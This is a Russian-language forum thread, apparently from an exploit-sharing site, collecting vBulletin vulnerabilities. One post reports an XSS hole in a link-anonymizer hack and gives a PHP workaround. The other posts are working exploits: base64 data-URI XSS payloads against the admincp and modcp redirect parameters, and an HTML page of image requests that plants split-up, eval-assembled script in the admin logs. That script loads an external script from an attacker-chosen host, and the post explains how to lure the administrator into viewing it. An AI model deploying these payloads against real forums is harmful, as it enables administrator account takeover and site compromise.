This is a hack to "anonymize" all outgoing links from your forum to prevent the referrer information from being sent.

недавно получил ЛС от одного из наших участников, с сообщением об уязвимости в этом хаке - XSS
скачал последнюю, доступную версию с оффорума (Version: 2.7), покрутил его на локалке...
результаты:
помимо того, что там действительно есть "дырка", так он еще и не выполняет того, для чего предназначен (анонимность при переходе по ссылке с форума)
т.е. реферер всетаки передается =)
это не сложно проверить, (при установленном хаке) прописать линк у себя на форуме http://www.vbsupport.org/forum/1.php и перейти по нему
пример дырки:
Код:

_http://resurs.com/redirector.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgn0eDp8iDv7uTi5fDm5e0g4ufr7uzzIFhTUycpOzwvc2NyaXB0Pg0K
скрин ниже

http://www.vbsupport.org/forum/image...999e5c3c38.jpg

временная (кривенькая, но рабочая) "заплатка", (пока на оффоруме не раздуплятся заделать) если не хотите удалять (бесполезный, на мой взгляд) хак:
1. в файле redirector.php найти:
===
PHP код:

$do $_GET['do']; 

заменить на:
PHP код:

$do $_REQUEST['do']; 

найти:
PHP код:

$url rawurldecode($vbulletin->input->clean($_GET['url'], TYPE_NOHTML)); 

заменить на:
PHP код:

$url base64_decode($vbulletin->input->clean($_REQUEST['url'], TYPE_NOHTML)); 

найти:
PHP код:

$displayurl '<a href="' $scriptpath '?do=nodelay&url=' str_replace('&amp;''&'$url) . '">' $url '</a>'

заменить на:
PHP код:

$displayurl '<a href="' str_replace('&amp;''&'$url) . '">' $url '</a>'

===
2. в плагине Anonymizer Function этого продукта найти:
PHP код:

$replace[] = '<a href="' $scriptpath rawurlencode($oldurl) . $nofollow

заменить на:
PHP код:

$replace[] = '<a href="' $scriptpath base64_encode($oldurl) . $nofollow

======
ссылки в постах будут выглядеть примерно так:
_http://domain.com/forum/redirector.php?url=HR0cDovL3d3dy52YnN1cHBvcnQub3Jn L2ZvcnVtLzEucGh"]http://www.vbsupport.org/forum/1.php (в строке состояния видна реальная ссылка с редиректором)
и вот эта хрень:
Код:

_http://resurs.com/redirector.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgn0eDp8iDv7uTi5fDm5e0g4ufr7uzzIFhTUycpOzwvc2NyaXB0Pg0K
уже не будет работать

(с) _vbsupport.org

Elekt 09.07.2008 02:27

XSS (3.7.1 & 3.6.10)
 
XSS-base64

_http://securityvulns.ru/news/CGI/2008.06.14.html
_http://securityvulns.ru/news/CGI/2008.06.19.html

Exploit:

http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

http://localhost/vB3/modcp/index.php?redirect=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

Elekt 12.07.2008 13:17

Xss (3.7.2, 3.6.10)
 
XSS in admin logs - vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower

http://securityvulns.ru/Udocument137.html

язвимость существует из-за недостаточной обработки параметров "PHP_SELF" и "do" при запросе несуществующей страницы.

Exploit:

1) Оставляем в логах булки нашу хсс, используя данный эксплоит:
Код HTML:

<html>
<body>
<img src="http://localhost/vB/upload/admincp/faq.php/0?do=<script>/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/1?do=*/a%3D'document.wri'/*"

/>

<img src="http://localhost/vB/upload/admincp/faq.
php/2?do=*/b%3D'te(%22<script
'/*"
/>

<img src="http://localhost/vB/upload/admincp/faq.
php/3?do=*/c%3D'src=http://'/*"

/>

<!--edit to match your data -->
<img src="http://localhost/vB/upload/admincp/faq.
php/4?do=*/d%3D'localhost/'/*"

/>

<img src="http://localhost/vB/upload/admincp/faq.
php/5?do=*/e%3D''/*"
/>

<img src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.
js></scrip'/*"

/>

<!-- end edit -->
<img src="http://localhost/vB/upload/admincp/faq.
php/7?do=*/g%3D't>%22)'/*"
/>

<img src="http://localhost/vB/upload/admincp/faq.
php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*"

/>

<img src="http://localhost/vB/upload/admincp/faq.
php/9?do=*/eval(h)/*"
/>

<img src="http://localhost/vB/upload/admincp/faq.
php/a0?do=*/</script>"
/>

</body>
</html>

2) Затем отправьте админа по ссылке:
/adminlog.php?do=view&script=&u=0&pp=15&orderby=scr ipt&page=1


Ограничения:
PHP_SELF - 50 characters max and no slashes
_REQUEST['do'] is limited to 20 characters

Также сообщается, что злоумышленник может внедрить и выполнить произвольный PHP код на системе с привилегиями Web сервера.


Fugitif 13.07.2008 21:00

vbulletin Exploit Tool Box
 
This Box continue the 3 vbulletin exploits, under it you can use the vbulletin install path exploit, the other two exploits can be only watched.

Code can be found here:

http://archive.cert.uni-stuttgart.de.../msg00243.html


Время: 04:19